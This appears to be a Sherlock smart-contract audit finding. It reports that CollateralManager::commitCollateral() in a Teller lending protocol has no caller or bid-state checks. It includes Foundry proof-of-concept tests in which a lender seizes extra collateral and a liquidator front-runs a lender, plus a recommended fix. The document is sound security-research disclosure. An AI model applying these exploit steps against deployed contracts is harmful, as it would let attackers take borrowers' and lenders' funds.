juancito - Adversary can modify the commited collateral of any bid at any time leading to lost or locked assets and DOS of the protocol
sherlock-admin opened this issue · 0 comments
juancito
high
Adversary can modify the commited collateral of any bid at any time leading to lost or locked assets and DOS of the protocol
Adversary can modify the commited collateral of any bid at any time leading to lost or locked assets and DOS of the protocol
Summary
CollateralManager::commitCollateral() does not have any restriction on who can call it nor at which bid state.
This leads to multiple attack vectors, like lenders increasing the collateral amount before accepting a bid to later seize those extra assets, or for malicious users to perform griefing attacks against different actors or the whole protocol.
Vulnerability Detail
As previously stated, CollateralManager::commitCollateral() does not perform any validation regarding who is calling it, or checking if the bid state is correct.
The function only checks that the borrower actually has the collateral passed via _collateralInfo:
function commitCollateral(
uint256 _bidId,
Collateral[] calldata _collateralInfo
) public returns (bool validation_) {
address borrower = tellerV2.getLoanBorrower(_bidId);
(validation_, ) = checkBalances(borrower, _collateralInfo);
if (validation_) {
for (uint256 i; i < _collateralInfo.length; i++) {
Collateral memory info = _collateralInfo[i];
_commitCollateral(_bidId, info);
}
}
}This allows any malicious actor to update any bid.
This allows malicious borrowers to update their bids after bids were accepted. It also allows anyone to update bids at any time.
Two attack vectors are shown on the Proof of Concept section.
Proof of Concept
Attack Vector 1 - Lender forces borrower to deposit extra collateral to seize extra collateral tokens
This attack is performed with the correct bid state, but by an actor that should not be able to call commitCollateral.
It shows how a lender can update the bid collateral just before accepting the bid, forcing the borrower to transfer any pre-approved assets to the escrow contract.
Borrowers using the platform will be approving many different assets, or some assets with a bigger amount in order to be able to submit multiple different bids.
Any of those extra assets can be forced to be put into escrow, and letting the lender steal those extra assets if the loan is not repaid on time.
Add this test to packages/contracts/tests/TellerV2/TellerV2_Test.sol and run forge test -m "test_commit_collateral_extra_amount_exploit":
function test_commit_collateral_extra_amount_exploit() public {
// The borrower starts with 50000 WETH -> This is the victim
assertEq(wethMock.balanceOf(address(borrower)), 50000);
// The borrower plans to opens many bids
// So, he approves 3000 WETH of collateral for all of them
borrower.addAllowance(
address(wethMock),
address(collateralManager),
3000
);
// The borrower prepares the first bid, setting the amount of collateral to 10
Collateral memory info;
info._amount = 10;
info._tokenId = 0;
info._collateralAddress = address(wethMock);
info._collateralType = CollateralType.ERC20;
Collateral[] memory collateralInfo = new Collateral[](1);
collateralInfo[0] = info;
// The borrower submits the bid with 10 WETH as collateral
uint256 bidId = borrower.submitCollateralBid(
address(daiMock),
marketId1,
100, // _principal
10000, // _duration
500, // _APR
"metadataUri://",
address(borrower),
collateralInfo
);
// A malicious lender sees the bid
vm.startPrank(address(lender));
// The lender prepares a malicious bid with the max value the borrower allowed as collateral
// (Re-using the original `info` for simplicity of the POC)
info._amount = 3000;
// Here is the vulnerability
// The malicious lender can update the commited collateral of any borrower
collateralManager.commitCollateral(bidId, info);
// The malicious lender can now accept the bid with the new collateral amount
tellerV2.lenderAcceptBid(bidId);
vm.stopPrank();
// The escrow contract now holds 3000 WETH from the borrower instead of the expected 10 WETH
address escrowAddress = collateralManager._escrows(bidId);
CollateralEscrowV1 escrow = CollateralEscrowV1(escrowAddress);
uint256 escrowBalance = wethMock.balanceOf(escrowAddress);
assertEq(wethMock.balanceOf(escrowAddress), 3000);
// The borrower loses control of 3000 WETH of assets instead of the 10 WETH set for the original bid
// 50000 WETH - 3000 WETH = 47000 WETH
assertEq(wethMock.balanceOf(address(borrower)), 47000);
}Attack Vector 2 - Liquidator frontruns lender to liquidate collateral for himself
This attack shows how the commitCollateral function can be called at any time.
If a borrower doesn't pay their loan, and it contains a valuable collateral a malicious liquidator can prevent the lender to withdraw it, and later liquidate it for himself.
By increasing the amount in the bid collateral, the lender withdraw transaction will fail, as it will try to withdraw more than there is available in the escrow contract.
The liquidator can even frontrun the lender if he tries to set it back.
After 24 hours the liquidator is able to set the value back and liquidate the valuable collateral.
Add this test to packages/contracts/tests/TellerV2/TellerV2_Test.sol and run forge test -m "test_commit_collateral_liquidator_exploit":
function test_commit_collateral_liquidator_exploit() public {
// Submit bid as borrower
uint256 bidId = submitCollateralBid();
// Accept bid as lender
acceptBid(bidId);
// Wait until the bid is seizable by the lender
vm.warp(90000);
// Verify that it is still not liquidable
TellerV2User liquidator = new TellerV2User(address(tellerV2), wethMock);
vm.prank(address(liquidator));
vm.expectRevert("Loan must be liquidateable.");
tellerV2.liquidateLoanFull(bidId);
// The malicious liquidator prepares a fake bid
Collateral memory info;
info._amount = 100; // Increase the amount so that the lender withdraw tx fails
info._tokenId = 0;
info._collateralAddress = address(wethMock);
info._collateralType = CollateralType.ERC20;
Collateral[] memory collateralInfo = new Collateral[](1);
collateralInfo[0] = info;
// The liquidator frontruns the lender and updates the bid collateral
vm.prank(address(liquidator));
collateralManager.commitCollateral(bidId, info);
// The lender tries to withdraw the collateral but it fails
vm.prank(address(lender));
vm.expectRevert("No collateral balance for asset");
collateralManager.withdraw(bidId);
// Wait until the bid is liquidatable
// The liquidator can frontrun the lender and update the bid amount again to continue the attack for one day
vm.warp(100000);
// Prepare some assets to pay for the liquidation
daiMock.transfer(address(liquidator), 100);
liquidator.addAllowance(address(daiMock), address(tellerV2), 100);
// Verify that the liquidator doesn't have any WETH token (bid collateral)
assertEq(wethMock.balanceOf(address(liquidator)), 0);
// The liquidator sets the amount to its original value to perform the liquidation
vm.startPrank(address(liquidator));
info._amount = 10;
collateralManager.commitCollateral(bidId, info);
tellerV2.liquidateLoanFull(bidId);
vm.stopPrank();
// The liquidator ends up with the collateral that the lender was trying to withdraw
assertEq(wethMock.balanceOf(address(liquidator)), 10);
}Attack Vector 3 - Adversary can lock collateral in escrow contract
Similar to the previous attack vector, by setting amount = 1 for the collateral bid, and adversary can lock all the rest of the collateral for a bid in the escrow contract.
The result is that this time the lender will be able to withdraw the collateral, but just amount = 1. The rest will be locked, and subsequent withdraw calls will fail, as the bid will change its state.
This only works for ERC1155 tokens, as it uses the _amount passed by the CollateralManager, instead of the escrow balance. The ERC20 on the other hands will return the whole balance, as it uses the escrow balance.
IERC1155Upgradeable(_collateralAddress).safeTransferFrom(
address(this),
_recipient,
_collateral._tokenId,
_amount,
data
);Impact
Lenders can force borrowers to send more collateral than expected to the escrow contract and seize a greater amount. Lenders can even frontrun borrowers to prevent them from paying (attack vector 2 shows how to do it on a different situation but with the same reason being different balances in CollateralManager and escrow contract).
Liquidators can prevent lenders from seizing collateral, to liquidate it for theirselves.
Adversaries can lock collateral assets in escrow contracts.
Combination of these attacks, and new ones with different actors or bid states can lead technically to a DOS of the protocol, meaning that it would be unusable in practical terms.
Code Snippet
Tool used
Manual Review
Recommendation
Verify that the bid can only be commited by the borrower by himself or by the borrower via the Teller contract.
Verify that the bid can only be updated during its corresponding state to prevent borrowers from updating it afterwards.
function commitCollateral(
uint256 _bidId,
Collateral[] calldata _collateralInfo
) public returns (bool validation_) {
address borrower = tellerV2.getLoanBorrower(_bidId);
+ require(_msgSender() == borrower || _msgSender() == address(tellerV2), "sender not authorized");
+ BidState bidState = tellerV2.getBidState(_bidId);
+ require(bidState == BidState.PENDING, "bid state is incorrect");
(validation_, ) = checkBalances(borrower, _collateralInfo);
if (validation_) {
for (uint256 i; i < _collateralInfo.length; i++) {
Collateral memory info = _collateralInfo[i];
_commitCollateral(_bidId, info);
}
}
}Duplicate of #169